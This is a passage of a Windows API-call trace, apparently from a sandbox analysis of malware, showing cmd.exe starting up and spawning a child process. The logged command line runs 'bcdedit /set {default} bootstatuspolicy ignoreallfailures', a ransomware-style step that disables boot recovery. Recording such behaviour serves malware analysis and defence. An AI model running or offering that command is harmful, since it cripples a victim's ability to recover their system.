Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0x91de374000, lpBuffer=0x91de46fc30, dwLength=0x30 | out: lpBuffer=0x91de46fc30*(BaseAddress=0x91de374000, AllocationBase=0x91de370000, AllocationProtect=0x4, __alignment1=0x91, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0x91de470000, lpBuffer=0x91de46fc30, dwLength=0x30 | out: lpBuffer=0x91de46fc30*(BaseAddress=0x91de470000, AllocationBase=0x91de470000, AllocationProtect=0x2, __alignment1=0x91, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0030.684] GetConsoleOutputCP () returned 0x1b5 [0030.688] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.688] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0030.688] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.689] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 1 [0030.691] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.691] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0030.692] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.692] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0030.693] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.693] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.693] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.693] SetConsoleMode (hConsoleHandle=0x18, dwMode=0x1a7) returned 1 [0030.700] GetEnvironmentStringsW () returned 0x91de5e48e0* [0030.700] FreeEnvironmentStringsA (penv="A") returned 1 [0030.700] GetEnvironmentStringsW () returned 0x91de5e48e0* [0030.700] FreeEnvironmentStringsA (penv="A") returned 1 [0030.700] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x91de46eb78 | out: phkResult=0x91de46eb78*=0x34) returned 0x0 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x0, lpData=0x91de46eb90*=0x0, lpcbData=0x91de46eb74*=0x1000) returned 0x2 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x1, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x0, lpData=0x91de46eb90*=0x1, lpcbData=0x91de46eb74*=0x1000) returned 0x2 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x0, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x40, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x40, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.700] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x0, lpData=0x91de46eb90*=0x40, lpcbData=0x91de46eb74*=0x1000) returned 0x2 [0030.700] RegCloseKey (hKey=0x34) returned 0x0 [0030.700] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x91de46eb78 | out: phkResult=0x91de46eb78*=0x34) returned 0x0 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x0, lpData=0x91de46eb90*=0x40, lpcbData=0x91de46eb74*=0x1000) returned 0x2 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x1, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x0, lpData=0x91de46eb90*=0x1, lpcbData=0x91de46eb74*=0x1000) returned 0x2 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x0, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x9, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x4, lpData=0x91de46eb90*=0x9, lpcbData=0x91de46eb74*=0x4) returned 0x0 [0030.701] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0x91de46eb70, lpData=0x91de46eb90, lpcbData=0x91de46eb74*=0x1000 | out: lpType=0x91de46eb70*=0x0, lpData=0x91de46eb90*=0x9, lpcbData=0x91de46eb74*=0x1000) returned 0x2 [0030.701] RegCloseKey (hKey=0x34) returned 0x0 [0030.701] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d262 [0030.701] srand (_Seed=0x5989d262) [0030.701] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /C title 8997147|bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0030.701] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /C title 8997147|bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0030.701] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.701] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x91de5e4920, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0030.701] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.701] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.701] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.701] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0030.701] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0030.701] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0030.701] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0030.701] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0030.701] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0030.701] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0030.701] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0030.701] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0030.701] GetEnvironmentStringsW () returned 0x91de5e4b30* [0030.701] FreeEnvironmentStringsA (penv="A") returned 1 [0030.701] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.701] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.701] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0030.701] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0030.701] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0030.701] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0030.701] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0030.701] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0030.702] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0030.702] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0030.702] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x91de46f980 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0x91de46f980, lpFilePart=0x91de46f960 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0x91de46f960*="Desktop") returned 0x1c [0030.702] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.702] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x91de46f690 | out: lpFindFileData=0x91de46f690) returned 0x91de5e79a0 [0030.702] FindClose (in: hFindFile=0x91de5e79a0 | out: hFindFile=0x91de5e79a0) returned 1 [0030.702] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0x91de46f690 | out: lpFindFileData=0x91de46f690) returned 0x91de5e79a0 [0030.702] FindClose (in: hFindFile=0x91de5e79a0 | out: hFindFile=0x91de5e79a0) returned 1 [0030.702] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0030.702] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0x91de46f690 | out: lpFindFileData=0x91de46f690) returned 0x91de5e79a0 [0030.702] FindClose (in: hFindFile=0x91de5e79a0 | out: hFindFile=0x91de5e79a0) returned 1 [0030.702] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.702] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0030.702] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0030.702] GetEnvironmentStringsW () returned 0x91de5e65c0* [0030.702] FreeEnvironmentStringsA (penv="=") returned 1 [0030.702] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.703] GetConsoleOutputCP () returned 0x1b5 [0030.769] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.771] GetUserDefaultLCID () returned 0x409 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x91de46fab0, cchData=128 | out: lpLCData="0") returned 2 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x91de46fab0, cchData=128 | out: lpLCData="0") returned 2 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x91de46fab0, cchData=128 | out: lpLCData="1") returned 2 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0030.773] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0030.774] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0030.774] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0030.774] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0030.774] GetConsoleTitleW (in: lpConsoleTitle=0x91de5e5650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.774] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.774] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0030.774] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0030.774] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0030.775] _wcsicmp (_String1="title", _String2=")") returned 75 [0030.775] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0030.775] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0030.775] _wcsicmp (_String1="IF", _String2="title") returned -11 [0030.775] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0030.775] _wcsicmp (_String1="REM", _String2="title") returned -2 [0030.775] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0030.776] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0030.776] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0030.776] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0030.776] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0030.776] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0030.776] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0030.777] _pipe (in: _PtHandles=0x91de5e5bd0, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x91de5e5bd0) returned 0 [0030.777] _dup (_FileHandle=1) returned 5 [0030.777] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0030.777] _close (_FileHandle=4) returned 0 [0030.777] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.777] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.777] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.777] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.777] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.777] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.777] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.777] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.777] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.777] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.777] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.777] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.777] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.778] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.778] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.778] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.778] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.778] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.778] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.778] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.778] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.778] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.778] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.778] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.778] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.778] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.778] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.778] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.778] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.778] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.778] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.778] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.778] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.778] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.778] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.778] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.778] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.778] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.778] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.778] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.778] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.778] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.778] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.778] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.778] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.778] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.778] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.778] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.778] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.778] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.778] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.778] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.778] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.778] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.778] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.778] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.778] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.778] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0030.779] SetErrorMode (uMode=0x0) returned 0x0 [0030.779] SetErrorMode (uMode=0x1) returned 0x0 [0030.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x91de5e0c10, lpFilePart=0x91de46f5e0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x91de46f5e0*="system32") returned 0x13 [0030.779] SetErrorMode (uMode=0x0) returned 0x1 [0030.779] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0030.779] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.781] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0030.781] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x91de46f360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f360) returned 0x91de5e0d90 [0030.781] FindClose (in: hFindFile=0x91de5e0d90 | out: hFindFile=0x91de5e0d90) returned 1 [0030.781] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0030.781] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0030.781] GetConsoleTitleW (in: lpConsoleTitle=0x91de46f8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.781] InitializeProcThreadAttributeList (in: lpAttributeList=0x91de46f7e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x91de46f6e0 | out: lpAttributeList=0x91de46f7e0, lpSize=0x91de46f6e0) returned 1 [0030.781] UpdateProcThreadAttribute (in: lpAttributeList=0x91de46f7e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x91de46f6c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x91de46f7e0, lpPreviousValue=0x0) returned 1 [0030.782] GetStartupInfoW (in: lpStartupInfo=0x91de46f770 | out: lpStartupInfo=0x91de46f770*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0030.782] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0030.782] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0030.784] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 8997147\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0x91de46f700*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 8997147\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x91de46f6e8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 8997147\"", lpProcessInformation=0x91de46f6e8*(hProcess=0x54, hThread=0x50, dwProcessId=0x8a0, dwThreadId=0x89c)) returned 1 [0030.791] CloseHandle (hObject=0x50) returned 1 [0030.791] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0030.791] GetEnvironmentStringsW () returned 0x91de5e6bb0* [0030.791] FreeEnvironmentStringsA (penv="=") returned 1 [0030.791] DeleteProcThreadAttributeList (in: lpAttributeList=0x91de46f7e0 | out: lpAttributeList=0x91de46f7e0) [0030.791] _get_osfhandle (_FileHandle=3) returned 